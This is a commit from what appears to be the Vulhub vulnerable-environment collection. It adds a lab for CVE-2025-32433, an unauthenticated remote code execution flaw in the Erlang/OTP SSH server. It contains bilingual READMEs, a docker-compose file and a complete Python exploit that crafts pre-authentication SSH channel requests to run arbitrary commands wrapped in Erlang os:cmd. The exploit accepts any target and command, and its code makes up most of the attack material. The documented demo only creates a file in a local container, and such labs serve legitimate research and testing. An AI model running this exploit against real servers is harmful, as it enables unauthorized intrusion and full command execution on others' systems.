first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
erlang/CVE-2025-32433/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 72 KiB

BIN
erlang/CVE-2025-32433/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 10 KiB

View File

@@ -0,0 +1,46 @@
# Unauthenticated Remote Code Execution in Erlang/OTP SSH (CVE-2025-32433)
[中文版本(Chinese version)](README.zh-cn.md)
Erlang/OTP SSH is the built-in SSH server component of the Erlang/OTP platform.
A critical vulnerability was discovered in the Erlang/OTP SSH server, allowing attackers to execute arbitrary system commands remotely without authentication by crafting specific SSH protocol messages. Affected versions include OTP-27.3.2 and earlier, OTP-26.2.5.10 and earlier, and OTP-25.3.2.19 and earlier.
- <https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2>
- <https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f#diff-ceeb1aeeb602e1424c13d9da9383e0782f65869d6e64e015c194145b1a64edcd>
- <https://github.com/ProDefense/CVE-2025-32433>
- <https://datatracker.ietf.org/doc/html/rfc4254>
## Environment Setup
Run the following command to start an Erlang/OTP 27.3.2 based SSH server:
```
docker compose up -d
```
After startup, the container runs an Erlang SSH service listening on port 2222, which is mapped to the host's port 2222. You can access it using SSH tools or the provided exploit script.
## Vulnerability Reproduction
Use the provided [exploit.py](exploit.py) script to reproduce the vulnerability. For example, the following command will create a file inside the target container:
```
python exploit.py -t 127.0.0.1 -p 2222 -c "touch /tmp/success"
```
![](1.png)
The script sends a specially crafted SSH_MSG_CHANNEL_REQUEST (message number 94) packet, exploiting a flaw in the server's message handling to execute arbitrary commands during the unauthenticated phase. According to RFC 4254, the message structure is as follows:
```
byte SSH_MSG_CHANNEL_REQUEST
uint32 recipient channel
string "exec"
boolean want reply
string command
```
After successful exploitation, you can enter the container and see that the `/tmp/success` file has been created.
![](2.png)

View File

@@ -0,0 +1,46 @@
# Erlang/OTP SSH未授权远程代码执行漏洞CVE-2025-32433
Erlang/OTP SSH是Erlang/OTP平台自带的SSH服务器组件。
在Erlang/OTP SSH服务端中发现了一个高危漏洞攻击者可通过构造特定的SSH协议消息在未认证的情况下远程执行任意系统命令。受影响版本包括OTP-27.3.2及更早版本、OTP-26.2.5.10及更早版本以及OTP-25.3.2.19及更早版本。
参考链接:
- <https://github.com/erlang/otp/security/advisories/GHSA-37cp-fgq5-7wc2>
- <https://github.com/erlang/otp/commit/6eef04130afc8b0ccb63c9a0d8650209cf54892f#diff-ceeb1aeeb602e1424c13d9da9383e0782f65869d6e64e015c194145b1a64edcd>
- <https://github.com/ProDefense/CVE-2025-32433>
- <https://datatracker.ietf.org/doc/html/rfc4254>
## 环境设置
执行如下命令启动一个用Erlang/OTP 27.3.2编写的SSH服务器
```
docker compose up -d
```
环境启动后容器内会运行Erlang SSH服务监听2222端口并映射到本地主机的2222端口。可通过SSH工具或漏洞利用脚本进行访问和测试。
## 漏洞复现
使用提供的[exploit.py](exploit.py)脚本即可复现漏洞:
```
python exploit.py -t 127.0.0.1 -p 2222 -c "touch /tmp/success"
```
![](1.png)
该脚本通过发送特制的SSH_MSG_CHANNEL_REQUEST消息编号94协议包利用服务端处理缺陷直接在未认证阶段执行任意命令。根据RFC 4254相关消息结构如下
```
byte SSH_MSG_CHANNEL_REQUEST
uint32 recipient channel
string "exec"
boolean want reply
string command
```
命令执行成功后,进入容器即可看到`/tmp/success`文件已被创建:
![](2.png)

View File

@@ -0,0 +1,6 @@
services:
sshd:
image: vulhub/erlang:27.3.2-with-ssh
ports:
- "2222:2222"
init: true

View File

@@ -0,0 +1,150 @@
import socket
import struct
import time
import argparse
import base64
# Helper to format SSH string (4-byte length + bytes)
def string_payload(s):
s_bytes = s.encode("utf-8")
return struct.pack(">I", len(s_bytes)) + s_bytes
# Builds SSH_MSG_CHANNEL_OPEN for session
def build_channel_open(channel_id=0):
return (
b"\x5a" # SSH_MSG_CHANNEL_OPEN
+ string_payload("session")
+ struct.pack(">I", channel_id) # sender channel ID
+ struct.pack(">I", 0x68000) # initial window size
+ struct.pack(">I", 0x10000) # max packet size
)
# Builds SSH_MSG_CHANNEL_REQUEST with 'exec' payload
def build_channel_request(channel_id=0, command=None):
return (
b"\x62" # SSH_MSG_CHANNEL_REQUEST
+ struct.pack(">I", channel_id)
+ string_payload("exec")
+ b"\x01" # want_reply = true
+ string_payload(command)
)
# Builds a minimal but valid SSH_MSG_KEXINIT packet
def build_kexinit():
cookie = b"\x00" * 16
def name_list(l):
return string_payload(",".join(l))
# Match server-supported algorithms from the log
return (
b"\x14"
+ cookie
+ name_list(
[
"curve25519-sha256",
"ecdh-sha2-nistp256",
"diffie-hellman-group-exchange-sha256",
"diffie-hellman-group14-sha256",
]
) # kex algorithms
+ name_list(["rsa-sha2-256", "rsa-sha2-512"]) # host key algorithms
+ name_list(["aes128-ctr"]) * 2 # encryption client->server, server->client
+ name_list(["hmac-sha1"]) * 2 # MAC algorithms
+ name_list(["none"]) * 2 # compression
+ name_list([]) * 2 # languages
+ b"\x00"
+ struct.pack(">I", 0) # first_kex_packet_follows, reserved
)
# Pads a packet to match SSH framing
def pad_packet(payload, block_size=8):
min_padding = 4
padding_len = block_size - ((len(payload) + 5) % block_size)
if padding_len < min_padding:
padding_len += block_size
return (
struct.pack(">I", len(payload) + 1 + padding_len)
+ bytes([padding_len])
+ payload
+ bytes([0] * padding_len)
)
# Convert system command to Erlang os:cmd format
def format_erlang_command(cmd):
# Use base64 encoding to avoid escaping issues
encoded_cmd = base64.b64encode(cmd.encode()).decode()
# Create Erlang code that decodes and executes the command
return f'os:cmd(binary_to_list(base64:decode("{encoded_cmd}"))).'
# === Exploit flow ===
def main():
# Parse command line arguments
parser = argparse.ArgumentParser(description='Exploit for Erlang CVE-2025-32433')
parser.add_argument('-t', '--target', default="127.0.0.1", help='Target IP address (default: 127.0.0.1)')
parser.add_argument('-p', '--port', type=int, default=2222, help='Target port (default: 2222)')
parser.add_argument('-c', '--command', help='System command to execute (for example: touch /tmp/success)')
parser.add_argument('-e', '--erlang', help='Interpret command as raw Erlang code instead of system command. (for example: os:cmd("touch /tmp/success").)')
args = parser.parse_args()
# Convert system command to Erlang command unless --erlang flag is used
if args.erlang:
erlang_cmd = args.erlang
elif args.command:
erlang_cmd = format_erlang_command(args.command)
else:
print(parser.print_help())
return
try:
with socket.create_connection((args.target, args.port), timeout=5) as s:
print("[*] Connecting to SSH server...")
# 1. Banner exchange
s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
banner = s.recv(1024)
print(f"[+] Received banner: {banner.strip().decode(errors='ignore')}")
time.sleep(0.5) # Small delay between packets
# 2. Send SSH_MSG_KEXINIT
print("[*] Sending SSH_MSG_KEXINIT...")
kex_packet = build_kexinit()
s.sendall(pad_packet(kex_packet))
time.sleep(0.5) # Small delay between packets
# 3. Send SSH_MSG_CHANNEL_OPEN
print("[*] Sending SSH_MSG_CHANNEL_OPEN...")
chan_open = build_channel_open()
s.sendall(pad_packet(chan_open))
time.sleep(0.5) # Small delay between packets
# 4. Send SSH_MSG_CHANNEL_REQUEST (pre-auth!)
print("[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...")
print(f"[*] Erlang payload: {erlang_cmd}")
chan_req = build_channel_request(command=erlang_cmd)
s.sendall(pad_packet(chan_req))
print(
f"[✓] Exploit sent! Command executed on target"
)
# Try to receive any response (might get a protocol error or disconnect)
try:
response = s.recv(1024)
print(f"[+] Received response: {response.hex()}")
except socket.timeout:
print("[*] No response within timeout period (which is expected)")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
main()